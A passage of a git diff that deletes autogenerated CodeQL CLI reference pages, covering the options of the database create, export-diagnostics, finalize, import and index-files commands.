`--common-caches=<dir>` - -\[Advanced] Controls the location of cached data on disk that will -persist between several runs of the CLI, such as downloaded QL packs and -compiled query plans. If not set explicitly, this defaults to a -directory named `.codeql` in the user's home directory; it will be -created if it doesn't already exist. - -Available since `v2.15.2`. diff --git a/content/code-security/codeql-cli/codeql-cli-manual/database-create.md b/content/code-security/codeql-cli/codeql-cli-manual/database-create.md deleted file mode 100644 index 6a383fc5d2c4..000000000000 --- a/content/code-security/codeql-cli/codeql-cli-manual/database-create.md +++ /dev/null @@ -1,423 +0,0 @@ ---- -title: database create -versions: # DO NOT MANUALLY EDIT. CHANGES WILL BE OVERWRITTEN BY A 🤖 - fpt: '*' - ghec: '*' - ghes: '*' -topics: - - Code Security - - Code scanning - - CodeQL -type: reference -product: '{% data reusables.gated-features.codeql %}' -autogenerated: codeql-cli -intro: |- - Create a CodeQL database for a source tree that can be analyzed using - one of the CodeQL products. -redirect_from: - - /code-security/codeql-cli/manual/database-create ---- - - -<!-- Content after this section is automatically generated --> - -{% data reusables.codeql-cli.man-pages-version-note %} - -## Synopsis - -```shell copy -codeql database create [--language=<lang>[,<lang>...]] [--github-auth-stdin] [--github-url=<url>] [--source-root=<dir>] [--threads=<num>] [--ram=<MB>] [--command=<command>] [--extractor-option=<extractor-option-name=value>] <options>... -- <database> -``` - -## Description - -Create a CodeQL database for a source tree that can be analyzed using -one of the CodeQL products. - -## Options - -### Primary Options - -#### `<database>` - -\[Mandatory] Path to the CodeQL database to create. This directory will -be created, and _must not_ already exist (but its parent must). - -If the `--db-cluster` option is given, this will not be a database -itself, but a directory that will _contain_ databases for several -languages built from the same source root. - -It is important that this directory is not in a location that the build -process will interfere with. For instance, the `target` directory of a -Maven project would not be a suitable choice. - -#### `--[no-]overwrite` - -\[Advanced] If the database already exists, delete it and proceed with -this command instead of failing. If the directory exists, but it does -not look like a database, an error will be thrown. - -#### `--[no-]force-overwrite` - -\[Advanced] If the database already exists, delete it even if it does -not look like a database and proceed with this command instead of -failing. This option should be used with caution as it may recursively -delete the entire database directory. - -#### `--codescanning-config=<file>` - -\[Advanced] Read a Code Scanning configuration file specifying options -on how to create the CodeQL databases and what queries to run in later -steps. For more details on the format of this configuration file, refer -to [AUTOTITLE](/code-security/code-scanning/creating-an-advanced-setup-for-code-scanning/customizing-your-advanced-setup-for-code-scanning). To run queries from -this file in a later step, invoke [codeql database analyze](/code-security/codeql-cli/codeql-cli-manual/database-analyze) without any other queries specified. - -#### `--[no-]db-cluster` - -Instead of creating a single database, create a "cluster" of databases -for different languages, each of which is a subdirectory of the -directory given on the command line. - -#### `-l, --language=<lang>[,<lang>...]` - -The language that the new database will be used to analyze. - -Use [codeql resolve languages](/code-security/codeql-cli/codeql-cli-manual/resolve-languages) to get a list of the pluggable language extractors found on the search path. - -When the `--db-cluster` option is given, this can appear multiple times, -or the value can be a comma-separated list of languages. - -If this option is omitted, and the source root being analysed is a -checkout of a GitHub repository, the CodeQL CLI will make a call to the -GitHub API to attempt to automatically determine what languages to -analyse. Note that to be able to do this, a GitHub PAT token must be -supplied either in the environment variable GITHUB\_TOKEN or via standard -input using the `--github-auth-stdin` option. - -#### `--build-mode=<mode>` - -The build mode that will be used to create the database. - -Choose your build mode based on the language you are analyzing: - -`none`: The database will be created without building the source root. -Available for C#, Java, JavaScript/TypeScript, Python, and Ruby. - -`autobuild`: The database will be created by attempting to automatically -build the source root. Available for C/C++, C#, Go, Java/Kotlin, and -Swift. - -`manual`: The database will be created by building the source root using -a manually specified build command. Available for C/C++, C#, Go, -Java/Kotlin, and Swift. - -When creating a database with `--command`, there is no need to -additionally specify '--build-mode manual'. - -Available since `v2.16.4`. - -#### `-s, --source-root=<dir>` - -\[Default: .] The root source code directory. In many cases, this will -be the checkout root. Files within it are considered to be the primary -source files for this database. In some output formats, files will be -referred to by their relative path from this directory. - -#### `-j, --threads=<num>` - -Use this many threads for the import operation, and pass it as a hint to -any invoked build commands. - -Defaults to 1. You can pass 0 to use one thread per core on the machine, -or -_N_ to leave _N_ cores unused (except still use at least one -thread). - -#### `-M, --ram=<MB>` - -Use this much memory for the import operation, and pass it as a hint to -any invoked build commands. - -#### `-c, --command=<command>` - -For compiled languages, build commands that will cause the compiler to -be invoked on the source code to analyze. These commands will be -executed under an instrumentation environment that allows analysis of -generated code and (in some cases) standard libraries. - -If no build command is specified, the command attempts to figure out -automatically how to build the source tree, based on heuristics from the -selected language pack. - -Beware that some combinations of multiple languages _require_ an -explicit build command to be specified. - -#### `--no-cleanup` - -\[Advanced] Suppress all database cleanup after finalization. Useful -for debugging purposes. - -#### `--no-pre-finalize` - -\[Advanced] Skip any pre-finalize script specified by the active CodeQL -extractor. - -#### `--[no-]skip-empty` - -\[Advanced] Output a warning instead of failing if a database is empty -because no source code was seen during the build. The empty database -will be left unfinalized. - -#### `--[no-]linkage-aware-import` - -\[Advanced] Controls whether [codeql dataset import](/code-security/codeql-cli/codeql-cli-manual/dataset-import) is linkage-aware _(default)_ or not. On projects where this part of database creation -consumes too much memory, disabling this option may help them progress -at the expense of database completeness. - -Available since `v2.15.3`. - -### Baseline calculation options - -#### `--[no-]calculate-baseline` - -\[Advanced] Calculate baseline information about the code being -analyzed and add it to the database. By default, this is enabled unless -the source root is the root of a filesystem. This flag can be used to -either disable, or force the behavior to be enabled even in the root of -the filesystem. - -#### `--[no-]sublanguage-file-coverage` - -\[GitHub.com and GitHub Enterprise Server v3.12.0+ only] Use -sub-language file coverage information. This calculates, displays, and -exports separate file coverage information for languages which share a -CodeQL extractor like C and C++, Java and Kotlin, and JavaScript and -TypeScript. - -Available since `v2.15.2`. - -### Extractor selection options - -#### `--search-path=<dir>[:<dir>...]` - -A list of directories under which extractor packs may be found. The -directories can either be the extractor packs themselves or directories -that contain extractors as immediate subdirectories. - -If the path contains multiple directory trees, their order defines -precedence between them: if the target language is matched in more than -one of the directory trees, the one given first wins. - -The extractors bundled with the CodeQL toolchain itself will always be -found, but if you need to use separately distributed extractors you need -to give this option (or, better yet, set up `--search-path` in a -per-user configuration file). - -(Note: On Windows the path separator is `;`). - -### Options to configure how to call the GitHub API to auto-detect languages. - -#### `-a, --github-auth-stdin` - -Accept a GitHub Apps token or personal access token via standard input. - -This overrides the GITHUB\_TOKEN environment variable. - -#### `-g, --github-url=<url>` - -URL of the GitHub instance to use. If omitted, the CLI will attempt to -autodetect this from the checkout path and if this is not possible -default to <https://github.com/> - -### Options to configure the package manager. - -#### `--registries-auth-stdin` - -Authenticate to GitHub Enterprise Server Container registries by passing -a comma-separated list of \<registry\_url>=\<token> pairs. - -For example, you can pass -`https://containers.GHEHOSTNAME1/v2/=TOKEN1,https://containers.GHEHOSTNAME2/v2/=TOKEN2` -to authenticate to two GitHub Enterprise Server instances. - -This overrides the CODEQL\_REGISTRIES\_AUTH and GITHUB\_TOKEN environment -variables. If you only need to authenticate to the github.com Container -registry, you can instead authenticate using the simpler -`--github-auth-stdin` option. - -### Low-level dataset cleanup options - -#### `--max-disk-cache=<MB>` - -Set the maximum amount of space that the disk cache for intermediate -query results can use. - -If this size is not configured explicitly, the evaluator will try to use -a "reasonable" amount of cache space, based on the size of the dataset -and the complexity of the queries. Explicitly setting a higher limit -than this default usage will enable additional caching which can speed -up later queries. - -#### `--min-disk-free=<MB>` - -\[Advanced] Set target amount of free space on file system. - -If `--max-disk-cache` is not given, the evaluator will try hard to -curtail disk cache usage if the free space on the file system drops -below this value. - -#### `--min-disk-free-pct=<pct>` - -\[Advanced] Set target fraction of free space on file system. - -If `--max-disk-cache` is not given, the evaluator will try hard to -curtail disk cache usage if the free space on the file system drops -below this percentage. - -#### `--cache-cleanup=<mode>` - -Select how aggressively to trim the cache. Choices include: - -`clear`: Remove the entire cache, trimming down to the state of a -freshly extracted dataset - -`trim` _(default)_: Trim everything except explicitly "cached" -predicates. - -`fit`: Simply make sure the defined size limits for the disk cache are -observed, deleting as many intermediates as necessary. - -#### `--cleanup-upgrade-backups` - -Delete any backup directories resulting from database upgrades. - -### Tracing options - -#### `--no-tracing` - -\[Advanced] Do not trace the specified command, instead rely on it to -produce all necessary data directly. - -#### `--extra-tracing-config=<tracing-config.lua>` - -\[Advanced] The path to a tracer configuration file. It may be used to -modify the behaviour of the build tracer. It may be used to pick out -compiler processes that run as part of the build command, and trigger -the execution of other tools. The extractors will provide default tracer -configuration files that should work in most situations. - -### Build command customization options - -#### `--working-dir=<dir>` - -\[Advanced] The directory in which the specified command should be -executed. If this argument is not provided, the command is executed in -the value of `--source-root` passed to [codeql database create](/code-security/codeql-cli/codeql-cli-manual/database-create), if one exists. If no `--source-root` argument is provided, the command is executed in the -current working directory. - -#### `--no-run-unnecessary-builds` - -\[Advanced] Only run the specified build command(s) if a database under -construction uses an extractor that depends on tracing a build process. -If this option is not given, the command will be executed even when -CodeQL doesn't need it, on the assumption that you need its side -effects for other reasons. - -### Options to control extractor behavior - -#### `-O, --extractor-option=<extractor-option-name=value>` - -Set options for CodeQL extractors. `extractor-option-name` should be of -the form extractor\_name.group1.group2.option\_name or -group1.group2.option\_name. If `extractor_option_name` starts with an -extractor name, the indicated extractor must declare the option -group1.group2.option\_name. Otherwise, any extractor that declares the -option group1.group2.option\_name will have the option set. `value` can -be any string that does not contain a newline. - -You can use this command-line option repeatedly to set multiple -extractor options. If you provide multiple values for the same extractor -option, the behaviour depends on the type that the extractor option -expects. String options will use the last value provided. Array options -will use all the values provided, in order. Extractor options specified -using this command-line option are processed after extractor options -given via `--extractor-options-file`. - -When passed to [codeql database init](/code-security/codeql-cli/codeql-cli-manual/database-init) or `codeql database begin-tracing`, the options will only be -applied to the indirect tracing environment. If your workflow also makes -calls to -[codeql database trace-command](/code-security/codeql-cli/codeql-cli-manual/database-trace-command) then the options also need to be passed there if desired. - -See <https://codeql.github.com/docs/codeql-cli/extractor-options> for -more information on CodeQL extractor options, including how to list the -options declared by each extractor. - -#### `--extractor-options-file=<extractor-options-bundle-file>` - -Specify extractor option bundle files. An extractor option bundle file -is a JSON file (extension `.json`) or YAML file (extension `.yaml` or -`.yml`) that sets extractor options. The file must have the top-level -map key 'extractor' and, under it, extractor names as second-level map -keys. Further levels of maps represent nested extractor groups, and -string and array options are map entries with string and array values. - -Extractor option bundle files are read in the order they are specified. -If different extractor option bundle files specify the same extractor -option, the behaviour depends on the type that the extractor option -expects. String options will use the last value provided. Array options -will use all the values provided, in order. Extractor options specified -using this command-line option are processed before extractor options -given via `--extractor-option`. - -When passed to [codeql database init](/code-security/codeql-cli/codeql-cli-manual/database-init) or `codeql database begin-tracing`, the options will only be -applied to the indirect tracing environment. If your workflow also makes -calls to -[codeql database trace-command](/code-security/codeql-cli/codeql-cli-manual/database-trace-command) then the options also need to be passed there if desired. - -See <https://codeql.github.com/docs/codeql-cli/extractor-options> for -more information on CodeQL extractor options, including how to list the -options declared by each extractor. - -### Common options - -#### `-h, --help` - -Show this help text. - -#### `-J=<opt>` - -\[Advanced] Give option to the JVM running the command. - -(Beware that options containing spaces will not be handled correctly.) - -#### `-v, --verbose` - -Incrementally increase the number of progress messages printed. - -#### `-q, --quiet` - -Incrementally decrease the number of progress messages printed. - -#### `--verbosity=<level>` - -\[Advanced] Explicitly set the verbosity level to one of errors, -warnings, progress, progress+, progress++, progress+++. Overrides `-v` -and `-q`. - -#### `--logdir=<dir>` - -\[Advanced] Write detailed logs to one or more files in the given -directory, with generated names that include timestamps and the name of -the running subcommand. - -(To write a log file with a name you have full control over, instead -give `--log-to-stderr` and redirect stderr as desired.) - -#### `--common-caches=<dir>` - -\[Advanced] Controls the location of cached data on disk that will -persist between several runs of the CLI, such as downloaded QL packs and -compiled query plans. If not set explicitly, this defaults to a -directory named `.codeql` in the user's home directory; it will be -created if it doesn't already exist. - -Available since `v2.15.2`. diff --git a/content/code-security/codeql-cli/codeql-cli-manual/database-export-diagnostics.md b/content/code-security/codeql-cli/codeql-cli-manual/database-export-diagnostics.md deleted file mode 100644 index 43d38ba77058..000000000000 --- a/content/code-security/codeql-cli/codeql-cli-manual/database-export-diagnostics.md +++ /dev/null @@ -1,147 +0,0 @@ ---- -title: database export-diagnostics -intro: |- - [Experimental] Export diagnostic information from a database for a - failed analysis. -versions: # DO NOT MANUALLY EDIT. CHANGES WILL BE OVERWRITTEN BY A 🤖 - fpt: '*' - ghec: '*' - ghes: '*' -topics: - - Code Security - - Code scanning - - CodeQL -type: reference -product: '{% data reusables.gated-features.codeql %}' -autogenerated: codeql-cli -redirect_from: - - /code-security/codeql-cli/manual/database-export-diagnostics ---- - - -<!-- Content after this section is automatically generated --> - -{% data reusables.codeql-cli.man-pages-version-note %} - -## Synopsis - -```shell copy -codeql database export-diagnostics --format=<format> [--output=<output>] <options>... -- <database> -``` - -## Description - -\[Experimental] Export diagnostic information from a database for a -failed analysis. - -Available since `v2.12.6`. - -## Options - -### Primary Options - -#### `<database>` - -\[Mandatory] Path to the CodeQL database under construction. This must -have been prepared for extraction with [codeql database init](/code-security/codeql-cli/codeql-cli-manual/database-init). - -If the `--db-cluster` option is given, this is not a database itself, -but a directory that _contains_ databases, and all of those databases -will be processed together. - -#### `--format=<format>` - -\[Mandatory] The format in which to write the results. One of: - -`raw`: A list of raw, uninterpreted diagnostic messages as JSON objects. - -`sarif-latest`: Static Analysis Results Interchange Format (SARIF), a -JSON-based format for describing static analysis results. This format -option uses the most recent supported version (v2.1.0). This option is -not suitable for use in automation as it will produce different versions -of SARIF between different CodeQL versions. - -`sarifv2.1.0`: SARIF v2.1.0. - -`text`: A bullet point list of diagnostic messages. - -#### `--[no-]db-cluster` - -Indicates that the directory given on the command line is not a database -itself, but a directory that _contains_ one or more databases under -construction. Those databases will be processed together. - -#### `-o, --output=<output>` - -The output path to write diagnostic information to. - -#### `--sarif-exit-code=<sarifExitCode>` - -\[SARIF formats only] Exit code of the failing process. - -#### `--sarif-exit-code-description=<sarifExitCodeDescription>` - -\[SARIF formats only] Reason that the failing process exited. - -#### `--sarif-category=<category>` - -\[SARIF formats only] \[Recommended] Specify a category for this -analysis to include in the SARIF output. A category can be used to -distinguish multiple analyses performed on the same commit and -repository, but on different languages or different parts of the code. - -If you analyze the same version of a code base in several different ways -(e.g., for different languages) and upload the results to GitHub for -presentation in Code Scanning, this value should differ between each of -the analyses, which tells Code Scanning that the analyses _supplement_ -rather than _supersede_ each other. (The values should be consistent -between runs of the same analysis for _different_ versions of the code -base.) - -This value will appear (with a trailing slash appended if not already -present) as the `<run>.automationDetails.id` property. - -### Common options - -#### `-h, --help` - -Show this help text. - -#### `-J=<opt>` - -\[Advanced] Give option to the JVM running the command. - -(Beware that options containing spaces will not be handled correctly.) - -#### `-v, --verbose` - -Incrementally increase the number of progress messages printed. - -#### `-q, --quiet` - -Incrementally decrease the number of progress messages printed. - -#### `--verbosity=<level>` - -\[Advanced] Explicitly set the verbosity level to one of errors, -warnings, progress, progress+, progress++, progress+++. Overrides `-v` -and `-q`. - -#### `--logdir=<dir>` - -\[Advanced] Write detailed logs to one or more files in the given -directory, with generated names that include timestamps and the name of -the running subcommand. - -(To write a log file with a name you have full control over, instead -give `--log-to-stderr` and redirect stderr as desired.) - -#### `--common-caches=<dir>` - -\[Advanced] Controls the location of cached data on disk that will -persist between several runs of the CLI, such as downloaded QL packs and -compiled query plans. If not set explicitly, this defaults to a -directory named `.codeql` in the user's home directory; it will be -created if it doesn't already exist. - -Available since `v2.15.2`. diff --git a/content/code-security/codeql-cli/codeql-cli-manual/database-finalize.md b/content/code-security/codeql-cli/codeql-cli-manual/database-finalize.md deleted file mode 100644 index 7031b0de757d..000000000000 --- a/content/code-security/codeql-cli/codeql-cli-manual/database-finalize.md +++ /dev/null @@ -1,233 +0,0 @@ ---- -title: database finalize -versions: # DO NOT MANUALLY EDIT. CHANGES WILL BE OVERWRITTEN BY A 🤖 - fpt: '*' - ghec: '*' - ghes: '*' -topics: - - Code Security - - Code scanning - - CodeQL -type: reference -product: '{% data reusables.gated-features.codeql %}' -autogenerated: codeql-cli -intro: '[Plumbing] Final steps in database creation.' -redirect_from: - - /code-security/codeql-cli/manual/database-finalize ---- - - -<!-- Content after this section is automatically generated --> - -{% data reusables.codeql-cli.man-pages-version-note %} - -## Synopsis - -```shell copy -codeql database finalize [--dbscheme=<file>] [--threads=<num>] [--ram=<MB>] <options>... -- <database> -``` - -## Description - -\[Plumbing] Final steps in database creation. - -Finalize a database that was created with [codeql database init](/code-security/codeql-cli/codeql-cli-manual/database-init) and subsequently seeded with analysis data using [codeql database trace-command](/code-security/codeql-cli/codeql-cli-manual/database-trace-command). This needs to happen before the new database can be queried. - -## Options - -### Primary Options - -#### `<database>` - -\[Mandatory] Path to the CodeQL database under construction. This must -have been prepared for extraction with [codeql database init](/code-security/codeql-cli/codeql-cli-manual/database-init). - -If the `--db-cluster` option is given, this is not a database itself, -but a directory that _contains_ databases, and all of those databases -will be processed together. - -#### `--[no-]db-cluster` - -Indicates that the directory given on the command line is not a database -itself, but a directory that _contains_ one or more databases under -construction. Those databases will be processed together. - -#### `--additional-dbs=<database>[:<database>...]` - -\[Advanced] Path to additional CodeQL databases under construction. -These will not themselves be finalized, but the data from them will be -included in the finalized database being created. This is an advanced -option that may not have the desired effect in all cases. For more -information, please refer to the documentation of [codeql database import](/code-security/codeql-cli/codeql-cli-manual/database-import). - -If the `--db-cluster` option is given, it is expected that these will be -database clusters rather than individual CodeQL databases. - -(Note: On Windows the path separator is `;`). - -#### `--no-cleanup` - -\[Advanced] Suppress all database cleanup after finalization. Useful -for debugging purposes. - -#### `--no-pre-finalize` - -\[Advanced] Skip any pre-finalize script specified by the active CodeQL -extractor. - -#### `--[no-]skip-empty` - -\[Advanced] Output a warning instead of failing if a database is empty -because no source code was seen during the build. The empty database -will be left unfinalized. - -### Options for controlling the TRAP import operation - -#### `-S, --dbscheme=<file>` - -\[Advanced] Override the auto-detected dbscheme definition that the -TRAP files are assumed to adhere to. Normally, this is taken from the -database's extractor. - -#### `-j, --threads=<num>` - -Use this many threads for the import operation. - -Defaults to 1. You can pass 0 to use one thread per core on the machine, -or -_N_ to leave _N_ cores unused (except still use at least one -thread). - -#### `-M, --ram=<MB>` - -Use this much memory for the import operation. - -### Low-level dataset cleanup options - -#### `--max-disk-cache=<MB>` - -Set the maximum amount of space that the disk cache for intermediate -query results can use. - -If this size is not configured explicitly, the evaluator will try to use -a "reasonable" amount of cache space, based on the size of the dataset -and the complexity of the queries. Explicitly setting a higher limit -than this default usage will enable additional caching which can speed -up later queries. - -#### `--min-disk-free=<MB>` - -\[Advanced] Set target amount of free space on file system. - -If `--max-disk-cache` is not given, the evaluator will try hard to -curtail disk cache usage if the free space on the file system drops -below this value. - -#### `--min-disk-free-pct=<pct>` - -\[Advanced] Set target fraction of free space on file system. - -If `--max-disk-cache` is not given, the evaluator will try hard to -curtail disk cache usage if the free space on the file system drops -below this percentage. - -#### `--cache-cleanup=<mode>` - -Select how aggressively to trim the cache. Choices include: - -`clear`: Remove the entire cache, trimming down to the state of a -freshly extracted dataset - -`trim` _(default)_: Trim everything except explicitly "cached" -predicates. - -`fit`: Simply make sure the defined size limits for the disk cache are -observed, deleting as many intermediates as necessary. - -#### `--cleanup-upgrade-backups` - -Delete any backup directories resulting from database upgrades. - -### Options for checking imported TRAP - -#### `--[no-]check-undefined-labels` - -\[Advanced] Report errors for undefined labels. - -#### `--[no-]check-unused-labels` - -\[Advanced] Report errors for unused labels. - -#### `--[no-]check-repeated-labels` - -\[Advanced] Report errors for repeated labels. - -#### `--[no-]check-redefined-labels` - -\[Advanced] Report errors for redefined labels. - -#### `--[no-]check-use-before-definition` - -\[Advanced] Report errors for labels used before they're defined. - -#### `--[no-]fail-on-trap-errors` - -\[Advanced] Exit non-zero if an error occurs during trap import. - -#### `--[no-]include-location-in-star` - -\[Advanced] Construct entity IDs that encode the location in the TRAP -file they came from. Can be useful for debugging of TRAP generators, but -takes up a lot of space in the dataset. - -#### `--[no-]linkage-aware-import` - -\[Advanced] Controls whether [codeql dataset import](/code-security/codeql-cli/codeql-cli-manual/dataset-import) is linkage-aware _(default)_ or not. On projects where this part of database creation -consumes too much memory, disabling this option may help them progress -at the expense of database completeness. - -Available since `v2.15.3`. - -### Common options - -#### `-h, --help` - -Show this help text. - -#### `-J=<opt>` - -\[Advanced] Give option to the JVM running the command. - -(Beware that options containing spaces will not be handled correctly.) - -#### `-v, --verbose` - -Incrementally increase the number of progress messages printed. - -#### `-q, --quiet` - -Incrementally decrease the number of progress messages printed. - -#### `--verbosity=<level>` - -\[Advanced] Explicitly set the verbosity level to one of errors, -warnings, progress, progress+, progress++, progress+++. Overrides `-v` -and `-q`. - -#### `--logdir=<dir>` - -\[Advanced] Write detailed logs to one or more files in the given -directory, with generated names that include timestamps and the name of -the running subcommand. - -(To write a log file with a name you have full control over, instead -give `--log-to-stderr` and redirect stderr as desired.) - -#### `--common-caches=<dir>` - -\[Advanced] Controls the location of cached data on disk that will -persist between several runs of the CLI, such as downloaded QL packs and -compiled query plans. If not set explicitly, this defaults to a -directory named `.codeql` in the user's home directory; it will be -created if it doesn't already exist. - -Available since `v2.15.2`. diff --git a/content/code-security/codeql-cli/codeql-cli-manual/database-import.md b/content/code-security/codeql-cli/codeql-cli-manual/database-import.md deleted file mode 100644 index 78755a286fa2..000000000000 --- a/content/code-security/codeql-cli/codeql-cli-manual/database-import.md +++ /dev/null @@ -1,180 +0,0 @@ ---- -title: database import -versions: # DO NOT MANUALLY EDIT. CHANGES WILL BE OVERWRITTEN BY A 🤖 - fpt: '*' - ghec: '*' - ghes: '*' -topics: - - Code Security - - Code scanning - - CodeQL -type: reference -product: '{% data reusables.gated-features.codeql %}' -autogenerated: codeql-cli -intro: |- - [Advanced] [Plumbing] Import unfinalized database(s) into another - unfinalized database. -redirect_from: - - /code-security/codeql-cli/manual/database-import ---- - - -<!-- Content after this section is automatically generated --> - -{% data reusables.codeql-cli.man-pages-version-note %} - -## Synopsis - -```shell copy -codeql database import [--dbscheme=<file>] [--threads=<num>] [--ram=<MB>] <options>... -- <database> <additionalDbs>... -``` - -## Description - -\[Advanced] \[Plumbing] Import unfinalized database(s) into another -unfinalized database. - -The result of this command is that the target database (the one in the -_first_ argument) will be augmented with the data from all the other -databases passed. In particular, TRAP files from the other databases -will be imported and sources in them will be copied. - -Note that this command will probably not have the desired effect in most -cases. In particular, the resulting database may not correctly track -dataflow between the partial databases that were combined. It is only -intended to be used in certain advanced scenarios involving distributed -build systems where special care has been taken in how the build was -separated in order to ensure that the resulting final database is -meaningful. - -## Options - -### Primary Options - -#### `<database>` - -\[Mandatory] Path to the CodeQL database under construction. This must -have been prepared for extraction with [codeql database init](/code-security/codeql-cli/codeql-cli-manual/database-init). - -If the `--db-cluster` option is given, this is not a database itself, -but a directory that _contains_ databases, and all of those databases -will be processed together. - -#### `<additionalDbs>...` - -\[Mandatory] Paths to the unfinished database(s) that should imported -into the first database. - -If the `--db-cluster` option is given, it is expected that these will be -database clusters rather than individual CodeQL databases. - -#### `--[no-]db-cluster` - -Indicates that the directory given on the command line is not a database -itself, but a directory that _contains_ one or more databases under -construction. Those databases will be processed together. - -### Options for controlling the TRAP import operation - -#### `-S, --dbscheme=<file>` - -\[Advanced] Override the auto-detected dbscheme definition that the -TRAP files are assumed to adhere to. Normally, this is taken from the -database's extractor. - -#### `-j, --threads=<num>` - -Use this many threads for the import operation. - -Defaults to 1. You can pass 0 to use one thread per core on the machine, -or -_N_ to leave _N_ cores unused (except still use at least one -thread). - -#### `-M, --ram=<MB>` - -Use this much memory for the import operation. - -### Options for checking imported TRAP - -#### `--[no-]check-undefined-labels` - -\[Advanced] Report errors for undefined labels. - -#### `--[no-]check-unused-labels` - -\[Advanced] Report errors for unused labels. - -#### `--[no-]check-repeated-labels` - -\[Advanced] Report errors for repeated labels. - -#### `--[no-]check-redefined-labels` - -\[Advanced] Report errors for redefined labels. - -#### `--[no-]check-use-before-definition` - -\[Advanced] Report errors for labels used before they're defined. - -#### `--[no-]fail-on-trap-errors` - -\[Advanced] Exit non-zero if an error occurs during trap import. - -#### `--[no-]include-location-in-star` - -\[Advanced] Construct entity IDs that encode the location in the TRAP -file they came from. Can be useful for debugging of TRAP generators, but -takes up a lot of space in the dataset. - -#### `--[no-]linkage-aware-import` - -\[Advanced] Controls whether [codeql dataset import](/code-security/codeql-cli/codeql-cli-manual/dataset-import) is linkage-aware _(default)_ or not. On projects where this part of database creation -consumes too much memory, disabling this option may help them progress -at the expense of database completeness. - -Available since `v2.15.3`. - -### Common options - -#### `-h, --help` - -Show this help text. - -#### `-J=<opt>` - -\[Advanced] Give option to the JVM running the command. - -(Beware that options containing spaces will not be handled correctly.) - -#### `-v, --verbose` - -Incrementally increase the number of progress messages printed. - -#### `-q, --quiet` - -Incrementally decrease the number of progress messages printed. - -#### `--verbosity=<level>` - -\[Advanced] Explicitly set the verbosity level to one of errors, -warnings, progress, progress+, progress++, progress+++. Overrides `-v` -and `-q`. - -#### `--logdir=<dir>` - -\[Advanced] Write detailed logs to one or more files in the given -directory, with generated names that include timestamps and the name of -the running subcommand. - -(To write a log file with a name you have full control over, instead -give `--log-to-stderr` and redirect stderr as desired.) - -#### `--common-caches=<dir>` - -\[Advanced] Controls the location of cached data on disk that will -persist between several runs of the CLI, such as downloaded QL packs and -compiled query plans. If not set explicitly, this defaults to a -directory named `.codeql` in the user's home directory; it will be -created if it doesn't already exist. - -Available since `v2.15.2`. diff --git a/content/code-security/codeql-cli/codeql-cli-manual/database-index-files.md b/content/code-security/codeql-cli/codeql-cli-manual/database-index-files.md deleted file mode 100644 index fc8a260dafda..000000000000 --- a/content/code-security/codeql-cli/codeql-cli-manual/database-index-files.md +++ /dev/null @@ -1,253 +0,0 @@ ---- -title: database index-files -versions: # DO NOT MANUALLY EDIT. CHANGES WILL BE OVERWRITTEN BY A 🤖 - fpt: '*' - ghec: '*' - ghes: '*' -topics: - - Code Security - - Code scanning - - CodeQL -type: reference -product: '{% data reusables.gated-features.codeql %}' -autogenerated: codeql-cli -intro: '[Plumbing] Index standalone files with a given CodeQL extractor.' -redirect_from: - - /code-security/codeql-cli/manual/database-index-files ---- - - -<!-- Content after this section is automatically generated --> - -{% data reusables.codeql-cli.man-pages-version-note %} - -## Synopsis - -```shell copy -codeql database index-files --language=<lang> [--threads=<num>] [--ram=<MB>] [--extractor-option=<extractor-option-name=value>] <options>... -- <database> -``` - -## Description - -\[Plumbing] Index standalone files with a given CodeQL extractor. - -This command selects a set of files under the specified working -directory, and applies the given extractor to them. By default, all -files are selected. Typical invocations will specify options to restrict -the set of included files. - -The `--include`, `--exclude`, and `--prune` options all take glob -patterns, which can use the following wildcard characters: - -* A single "?" matches any character other than a forward/backward - slash; -* A single "\*" matches any number of characters other than a - forward/backward slash; -* The pattern "\*\*" matches zero or more complete directory - components. - -## Options - -### Primary Options - -#### `<database>` - -\[Mandatory] Path to the CodeQL database under construction. This must -have been prepared for extraction with [codeql database init](/code-security/codeql-cli/codeql-cli-manual/database-init). - -#### `-l, --language=<lang>` - -\[Mandatory] The extractor that should be used to index matching files. - -#### `-j, --threads=<num>` - -Ask the extractor to use this many threads. This option is passed to the -extractor as a suggestion. If the CODEQL\_THREADS environment variable is -set, the environment variable value takes precedence over this option. - -You can pass 0 to use one thread per core on the machine, or -_N_ to -leave _N_ cores unused (except still use at least one thread). - -#### `-M, --ram=<MB>` - -Ask the extractor to use this much memory. This option is passed to the -extractor as a suggestion. If the CODEQL\_RAM environment variable is -set, the environment variable value takes precedence over this option. - -#### `--working-dir=<dir>` - -\[Advanced] The directory in which the specified command should be -executed. If this argument is not provided, the command is executed in -the value of `--source-root` passed to [codeql database create](/code-security/codeql-cli/codeql-cli-manual/database-create), if one exists. If no `--source-root` argument is provided, the command is executed in the -current working directory. - -### Options to control extractor behavior - -#### `-O, --extractor-option=<extractor-option-name=value>` - -Set options for CodeQL extractors. `extractor-option-name` should be of -the form extractor\_name.group1.group2.option\_name or -group1.group2.option\_name. If `extractor_option_name` starts with an -extractor name, the indicated extractor must declare the option -group1.group2.option\_name. Otherwise, any extractor that declares the -option group1.group2.option\_name will have the option set. `value` can -be any string that does not contain a newline. - -You can use this command-line option repeatedly to set multiple -extractor options. If you provide multiple values for the same extractor -option, the behaviour depends on the type that the extractor option -expects. String options will use the last value provided. Array options -will use all the values provided, in order. Extractor options specified -using this command-line option are processed after extractor options -given via `--extractor-options-file`. - -When passed to [codeql database init](/code-security/codeql-cli/codeql-cli-manual/database-init) or `codeql database begin-tracing`, the options will only be -applied to the indirect tracing environment. If your workflow also makes -calls to -[codeql database trace-command](/code-security/codeql-cli/codeql-cli-manual/database-trace-command) then the options also need to be passed there if desired. - -See <https://codeql.github.com/docs/codeql-cli/extractor-options> for -more information on CodeQL extractor options, including how to list the -options declared by each extractor. - -#### `--extractor-options-file=<extractor-options-bundle-file>` - -Specify extractor option bundle files. An extractor option bundle file -is a JSON file (extension `.json`) or YAML file (extension `.yaml` or -`.yml`) that sets extractor options. The file must have the top-level -map key 'extractor' and, under it, extractor names as second-level map -keys. Further levels of maps represent nested extractor groups, and -string and array options are map entries with string and array values. - -Extractor option bundle files are read in the order they are specified. -If different extractor option bundle files specify the same extractor -option, the behaviour depends on the type that the extractor option -expects. String options will use the last value provided. Array options -will use all the values provided, in order. Extractor options specified -using this command-line option are processed before extractor options -given via `--extractor-option`. - -When passed to [codeql database init](/code-security/codeql-cli/codeql-cli-manual/database-init) or `codeql database begin-tracing`, the options will only be -applied to the indirect tracing environment. If your workflow also makes -calls to -[codeql database trace-command](/code-security/codeql-cli/codeql-cli-manual/database-trace-command) then the options also need to be passed there if desired. - -See <https://codeql.github.com/docs/codeql-cli/extractor-options> for -more information on CodeQL extractor options, including how to list the -options declared by each 